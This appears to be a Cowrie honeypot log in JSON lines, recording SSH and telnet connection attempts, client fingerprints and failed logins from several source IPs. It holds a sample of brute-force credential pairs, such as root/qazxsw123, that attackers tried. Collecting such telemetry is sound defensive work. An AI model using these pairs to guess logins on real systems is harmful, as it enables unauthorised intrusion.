{"eventid":"cowrie.login.failed","username":"root","password":"0p3nsh3ll","message":"login attempt [root/0p3nsh3ll] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:44:44.825731Z","src_ip":"41.181.156.205","session":"c6bcba590368","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:44:46.123931Z","src_ip":"41.181.156.205","session":"c6bcba590368","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.27.36.16","src_port":43348,"dst_ip":"159.203.135.109","dst_port":22,"session":"81ac6371def1","protocol":"ssh","message":"New connection: 2.27.36.16:43348 (159.203.135.109:22) [session: 81ac6371def1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:45:07.088872Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:45:07.094507Z","src_ip":"2.27.36.16","session":"81ac6371def1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:45:07.214173Z","src_ip":"2.27.36.16","session":"81ac6371def1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazxsw123","message":"login attempt [root/qazxsw123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:45:07.643089Z","src_ip":"2.27.36.16","session":"81ac6371def1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:45:08.753904Z","src_ip":"2.27.36.16","session":"81ac6371def1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.245.222.56","src_port":46202,"dst_ip":"159.203.135.109","dst_port":22,"session":"32ef2a628a4d","protocol":"ssh","message":"New connection: 163.245.222.56:46202 (159.203.135.109:22) [session: 32ef2a628a4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:45:49.173471Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:45:49.178259Z","src_ip":"163.245.222.56","session":"32ef2a628a4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:45:49.186323Z","src_ip":"163.245.222.56","session":"32ef2a628a4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1230","message":"login attempt [root/1230] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:45:49.240719Z","src_ip":"163.245.222.56","session":"32ef2a628a4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:45:50.248597Z","src_ip":"163.245.222.56","session":"32ef2a628a4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":96.35258316993713,"message":"Connection lost after 96 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:45:51.388499Z","src_ip":"167.71.238.254","session":"b1e9c4009f8b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"205.254.166.156","src_port":37972,"dst_ip":"159.203.135.109","dst_port":22,"session":"3610041bf1e9","protocol":"ssh","message":"New connection: 205.254.166.156:37972 (159.203.135.109:22) [session: 3610041bf1e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:45:58.613969Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:45:58.619454Z","src_ip":"205.254.166.156","session":"3610041bf1e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:45:58.833279Z","src_ip":"205.254.166.156","session":"3610041bf1e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pass$123","message":"login attempt [root/pass$123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:45:59.714367Z","src_ip":"205.254.166.156","session":"3610041bf1e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:46:00.930675Z","src_ip":"205.254.166.156","session":"3610041bf1e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.181.156.205","src_port":60649,"dst_ip":"159.203.135.109","dst_port":22,"session":"861e7e006f47","protocol":"ssh","message":"New connection: 41.181.156.205:60649 (159.203.135.109:22) [session: 861e7e006f47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:46:13.557928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:46:13.595198Z","src_ip":"41.181.156.205","session":"861e7e006f47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:46:13.841894Z","src_ip":"41.181.156.205","session":"861e7e006f47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zhxnephu","password":"zXXUKpvydMqzp1quBItn","message":"login attempt [zhxnephu/zXXUKpvydMqzp1quBItn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:46:14.922305Z","src_ip":"41.181.156.205","session":"861e7e006f47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:46:16.173017Z","src_ip":"41.181.156.205","session":"861e7e006f47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.27.36.16","src_port":33758,"dst_ip":"159.203.135.109","dst_port":22,"session":"647dad34066b","protocol":"ssh","message":"New connection: 2.27.36.16:33758 (159.203.135.109:22) [session: 647dad34066b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:46:21.839901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:46:21.844631Z","src_ip":"2.27.36.16","session":"647dad34066b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:46:21.940179Z","src_ip":"2.27.36.16","session":"647dad34066b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nagios@123","message":"login attempt [root/nagios@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:46:22.351680Z","src_ip":"2.27.36.16","session":"647dad34066b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:46:23.454540Z","src_ip":"2.27.36.16","session":"647dad34066b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.245.222.56","src_port":51552,"dst_ip":"159.203.135.109","dst_port":22,"session":"2370e2f30055","protocol":"ssh","message":"New connection: 163.245.222.56:51552 (159.203.135.109:22) [session: 2370e2f30055]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:46:58.217836Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:46:58.222860Z","src_ip":"163.245.222.56","session":"2370e2f30055","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:46:58.231442Z","src_ip":"163.245.222.56","session":"2370e2f30055","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"emporium","message":"login attempt [root/emporium] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:46:58.284804Z","src_ip":"163.245.222.56","session":"2370e2f30055","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:46:59.292682Z","src_ip":"163.245.222.56","session":"2370e2f30055","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.238.254","src_port":59282,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0016502f147","protocol":"telnet","message":"New connection: 167.71.238.254:59282 (10.17.0.5:23) [session: c0016502f147]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:47:34.696079Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.27.36.16","src_port":60038,"dst_ip":"159.203.135.109","dst_port":22,"session":"5fdef681ad70","protocol":"ssh","message":"New connection: 2.27.36.16:60038 (159.203.135.109:22) [session: 5fdef681ad70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:47:39.168638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:47:39.173642Z","src_ip":"2.27.36.16","session":"5fdef681ad70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:47:39.273162Z","src_ip":"2.27.36.16","session":"5fdef681ad70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dbus-helper","password":"warnight","message":"login attempt [dbus-helper/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:47:39.700448Z","src_ip":"2.27.36.16","session":"5fdef681ad70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:47:40.798951Z","src_ip":"2.27.36.16","session":"5fdef681ad70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.181.156.205","src_port":44972,"dst_ip":"159.203.135.109","dst_port":22,"session":"8eba8c008616","protocol":"ssh","message":"New connection: 41.181.156.205:44972 (159.203.135.109:22) [session: 8eba8c008616]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:47:43.042690Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:47:43.049977Z","src_ip":"41.181.156.205","session":"8eba8c008616","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:47:43.296917Z","src_ip":"41.181.156.205","session":"8eba8c008616","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"idc123","message":"login attempt [root/idc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:47:44.316915Z","src_ip":"41.181.156.205","session":"8eba8c008616","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:47:45.566093Z","src_ip":"41.181.156.205","session":"8eba8c008616","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":20.522632122039795,"message":"Connection lost after 20 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:47:55.218548Z","src_ip":"167.71.238.254","session":"c0016502f147","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"205.254.166.156","src_port":25777,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e52f2b03f46","protocol":"ssh","message":"New connection: 205.254.166.156:25777 (159.203.135.109:22) [session: 9e52f2b03f46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:48:00.037160Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:48:00.042685Z","src_ip":"205.254.166.156","session":"9e52f2b03f46","protocol":"ssh"}
